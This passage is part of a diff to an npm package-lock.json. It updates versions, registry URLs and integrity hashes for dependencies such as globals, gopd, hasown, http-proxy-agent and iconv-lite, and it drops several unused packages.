"sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, "engines": { "node": ">=10" }, @@ -9082,12 +8453,15 @@ } }, "node_modules/get-symbol-description": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", - "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz", + "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==", + "dev": true, + "license": "MIT", "dependencies": { - "call-bind": "^1.0.2", - "get-intrinsic": "^1.1.1" + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6" }, "engines": { "node": ">= 0.4" @@ -9152,80 +8526,33 @@ } }, "node_modules/globals": { - "version": "11.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", - "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", - "engines": { - "node": ">=4" - } - }, - "node_modules/globby": { - "version": "13.1.2", - "resolved": "https://registry.npmjs.org/globby/-/globby-13.1.2.tgz", - "integrity": "sha512-LKSDZXToac40u8Q1PQtZihbNdTYSNMuWe+K5l+oa6KgDzSvVrHXlJy40hUP522RjAIoNLJYBJi7ow+rbFpIhHQ==", - "dev": true, - "dependencies": { - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.11", - "ignore": "^5.2.0", - "merge2": "^1.4.1", - "slash": "^4.0.0" - }, - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/globby/node_modules/slash": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", - "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "version": "16.3.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-16.3.0.tgz", + "integrity": "sha512-bqWEnJ1Nt3neqx2q5SFfGS8r/ahumIakg3HcwtNlrVlwXIeNumWn/c7Pn/wKzGhf6SaW6H6uWXLqC30STCMchQ==", "dev": true, + "license": "MIT", "engines": { - "node": ">=12" + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/globule": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/globule/-/globule-1.3.3.tgz", - "integrity": "sha512-mb1aYtDbIjTu4ShMB85m3UzjX9BVKe9WCzsnfMSZk+K5GpIbBOexgg4PPCt5eHDEG5/ZQAUX2Kct02zfiPLsKg==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "glob": "~7.1.1", - "lodash": "~4.17.10", - "minimatch": "~3.0.2" - }, - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/globule/node_modules/glob": { - "version": "7.1.7", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz", - "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==", + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", "dev": true, - "optional": true, - "peer": true, + "license": "MIT", "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "define-properties": "^1.2.1", + "gopd": "^1.0.1" }, "engines": { - "node": "*" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/sponsors/isaacs" + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/good-listener": { @@ -9236,41 +8563,22 @@ "delegate": "^3.1.2" } }, - "node_modules/got": { - "version": "12.1.0", - "resolved": "https://registry.npmjs.org/got/-/got-12.1.0.tgz", - "integrity": "sha512-hBv2ty9QN2RdbJJMK3hesmSkFTjVIHyIDDbssCKnSmq62edGgImJWD10Eb1k77TiV1bxloxqcFAVK8+9pkhOig==", - "dependencies": { - "@sindresorhus/is": "^4.6.0", - "@szmarczak/http-timer": "^5.0.1", - "@types/cacheable-request": "^6.0.2", - "@types/responselike": "^1.0.0", - "cacheable-lookup": "^6.0.4", - "cacheable-request": "^7.0.2", - "decompress-response": "^6.0.0", - "form-data-encoder": "1.7.1", - "get-stream": "^6.0.1", - "http2-wrapper": "^2.1.10", - "lowercase-keys": "^3.0.0", - "p-cancelable": "^3.0.0", - "responselike": "^2.0.0" - }, - "engines": { - "node": ">=14.16" + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/sindresorhus/got?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/graceful-fs": { - "version": "4.2.9", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.9.tgz", - "integrity": "sha512-NtNxqUcXgpW2iMrfqSfR73Glt39K+BLwWsPs94yR63v45T0Wbej7eRmL5cWfwEgqXnmjQp3zaJTshdRW/qC2ZQ==" - }, - "node_modules/grapheme-splitter": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", - "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==", + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", "dev": true }, "node_modules/har-schema": { @@ -9294,32 +8602,15 @@ "node": ">=6" } }, - "node_modules/hard-rejection": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/hard-rejection/-/hard-rejection-2.1.0.tgz", - "integrity": "sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==", + "node_modules/has-bigints": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz", + "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==", "dev": true, - "optional": true, - "peer": true, + "license": "MIT", "engines": { - "node": ">=6" - } - }, - "node_modules/has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", - "dependencies": { - "function-bind": "^1.1.1" + "node": ">= 0.4" }, - "engines": { - "node": ">= 0.4.0" - } - }, - "node_modules/has-bigints": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.1.tgz", - "integrity": "sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==", "funding": { "url": "https://github.com/sponsors/ljharb" } @@ -9332,42 +8623,51 @@ "node": ">=4" } }, - "node_modules/has-symbol-support-x": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz", - "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==", - "engines": { - "node": "*" - } - }, - "node_modules/has-symbols": { + "node_modules/has-property-descriptors": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", - "engines": { - "node": ">= 0.4" + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dependencies": { + "es-define-property": "^1.0.0" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/has-to-string-tag-x": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz", - "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==", + "node_modules/has-proto": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz", + "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==", + "dev": true, + "license": "MIT", "dependencies": { - "has-symbol-support-x": "^1.4.1" + "dunder-proto": "^1.0.0" }, "engines": { - "node": "*" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/has-tostringtag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", - "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", "dependencies": { - "has-symbols": "^1.0.2" + "has-symbols": "^1.0.3" }, "engines": { "node": ">= 0.4" @@ -9376,14 +8676,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/has-unicode": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", - "dev": true, - "optional": true, - "peer": true - }, "node_modules/hash-base": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.1.0.tgz", @@ -9425,10 +8717,21 @@ "minimalistic-assert": "^1.0.1" } }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, "node_modules/highlight.js": { - "version": "11.6.0", - "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.6.0.tgz", - "integrity": "sha512-ig1eqDzJaB0pqEvlPVIpSSyMaO92bH1N2rJpLMN/nX396wTpDA4Eq0uK+7I/2XG17pFaaKE0kjV/XPeGt7Evjw==", + "version": "11.11.1", + "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.11.1.tgz", + "integrity": "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w==", "engines": { "node": ">=12.0.0" } @@ -9451,24 +8754,17 @@ "react-is": "^16.7.0" } }, - "node_modules/hosted-git-info": { - "version": "2.8.9", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", - "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", - "dev": true, - "optional": true, - "peer": true - }, "node_modules/html-encoding-sniffer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", - "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", + "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==", "dev": true, + "license": "MIT", "dependencies": { - "whatwg-encoding": "^2.0.0" + "whatwg-encoding": "^3.1.1" }, "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/html-escaper": { @@ -9477,53 +8773,18 @@ "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", "dev": true }, - "node_modules/http-cache-semantics": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", - "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" - }, - "node_modules/http-errors": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", - "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", - "dependencies": { - "depd": "2.0.0", - "inherits": "2.0.4", - "setprototypeof": "1.2.0", - "statuses": "2.0.1", - "toidentifier": "1.0.1" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/http-errors/node_modules/depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/http-https": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/http-https/-/http-https-1.0.0.tgz", - "integrity": "sha512-o0PWwVCSp3O0wS6FvNr6xfBCHgt0m1tvPLFOCc2iFDKTRAXhB7m8klDf7ErowFH8POa6dVdGatKU5I1YYwzUyg==" - }, "node_modules/http-proxy-agent": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", - "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", "dev": true, - "optional": true, - "peer": true, + "license": "MIT", "dependencies": { - "@tootallnate/once": "1", - "agent-base": "6", - "debug": "4" + "agent-base": "^7.1.0", + "debug": "^4.3.4" }, "engines": { - "node": ">= 6" + "node": ">= 14" } }, "node_modules/http-signature": { @@ -9540,45 +8801,23 @@ "npm": ">=1.3.7" } }, - "node_modules/http2-wrapper": { - "version": "2.1.11", - "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-2.1.11.tgz", - "integrity": "sha512-aNAk5JzLturWEUiuhAN73Jcbq96R7rTitAoXV54FYMatvihnpD2+6PUgU4ce3D/m5VDbw+F5CsyKSF176ptitQ==", - "dependencies": { - "quick-lru": "^5.1.1", - "resolve-alpn": "^1.2.0" - }, - "engines": { - "node": ">=10.19.0" - } - }, - "node_modules/http2-wrapper/node_modules/quick-lru": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", - "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/https-browserify": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz", "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=" }, "node_modules/https-proxy-agent": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", "dev": true, + "license": "MIT", "dependencies": { - "agent-base": "6", + "agent-base": "^7.1.2", "debug": "4" }, "engines": { - "node": ">= 6" + "node": ">= 14" } }, "node_modules/human-signals": { @@ -9590,28 +8829,19 @@ "node": ">=10.17.0" } }, - "node_modules/humanize-ms": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", - "integrity": "sha1-xG4xWaKT9riW2ikxbYtv6Lt5u+0=", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "ms": "^2.0.0" - } - }, "node_modules/humps": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/humps/-/humps-2.0.1.tgz", "integrity": "sha1-3QLqYIG9BWjcXQcxhEY5V7qe+ao=" }, "node_modules/iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "devOptional": true, + "license": "MIT", "dependencies": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": ">= 2.1.2 < 3.0.0" }, "engines": { "node": ">=0.10.0" @@ -9629,25 +8859,6 @@ "postcss": "^8.1.0" } }, - "node_modules/idna-uts46-hx": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/idna-uts46-hx/-/idna-uts46-hx-2.3.1.tgz", - "integrity": "sha512-PWoF9Keq6laYdIRwwCdhTPl60xRqAloYNMQLiyUnG42VjT53oW07BXIRM+NK7eQjzXjAk2gUvX9caRxlnF9TAA==", - "dependencies": { - "punycode": "2.1.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/idna-uts46-hx/node_modules/punycode": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.0.tgz", - "integrity": "sha512-Yxz2kRwT90aPiWEMHVYnEf4+rhwF1tBmmZ4KepCP+Wkium9JxtWnUm1nqGwpiAHr/tnTSeHqr3wb++jgSkXjhA==", - "engines": { - "node": ">=6" - } - }, "node_modules/ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", @@ -9668,9 +8879,9 @@ ] }, "node_modules/ignore": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", - "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.0.tgz", + "integrity": "sha512-g7dmpshy+gD7mh88OC9NwSGTKoc3kyLAZQRU1mt53Aw/vnvfXnbC+F/7F7QoYVKbV+KNvJx8wArewKy1vXMtlg==", "dev": true, "engines": { "node": ">= 4" @@ -9682,9 +8893,9 @@ "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==" }, "node_modules/immutable": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.0.0.tgz", - "integrity": "sha512-zIE9hX70qew5qTUjSS7wi1iwj/l7+m54KWU247nhM3v806UdGj1yDndXj+IOYxxtW9zyLI+xqFNZjTuDaLUqFw==", + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/immutable/-/immutable-5.0.3.tgz", + "integrity": "sha512-P8IdPQHq3lA1xVeBRi5VPqUm5HDgKnx0Ru51wZz5mjxHr5n3RWhjIpOFU7ybkUxfB+5IToy+OLaHYDBIWsv+uw==", "dev": true }, "node_modules/import-fresh": { @@ -9719,67 +8930,6 @@ "node": ">=8" } }, - "node_modules/import-local/node_modules/find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "dependencies": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/import-local/node_modules/locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "dependencies": { - "p-locate": "^4.1.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/import-local/node_modules/p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "dependencies": { - "p-try": "^2.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/import-local/node_modules/p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "dependencies": { - "p-limit": "^2.2.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/import-local/node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, - "engines": { - "node": ">=8" - } - }, "node_modules/import-local/node_modules/pkg-dir": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", @@ -9801,1527 +8951,623 @@ "node": ">=0.8.19" } }, - "node_modules/indent-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", - "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/infer-owner": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", - "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", - "dev": true, - "optional": true, - "peer": true - }, "node_modules/inflight": { "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", - "dev": true, - "dependencies": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "node_modules/inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - }, - "node_modules/internal-slot": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz", - "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==", - "dependencies": { - "get-intrinsic": "^1.1.0", - "has": "^1.0.3", - "side-channel": "^1.0.4" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/interpret": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz", - "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==", - "dev": true, - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/ip": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz", - "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", - "dev": true, - "optional": true, - "peer": true - }, - "node_modules/ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/is-arguments": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", - "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", - "dependencies": { - "call-bind": "^1.0.2", - "has-tostringtag": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-arrayish": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", - "dev": true - }, - "node_modules/is-bigint": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", - "integrity": 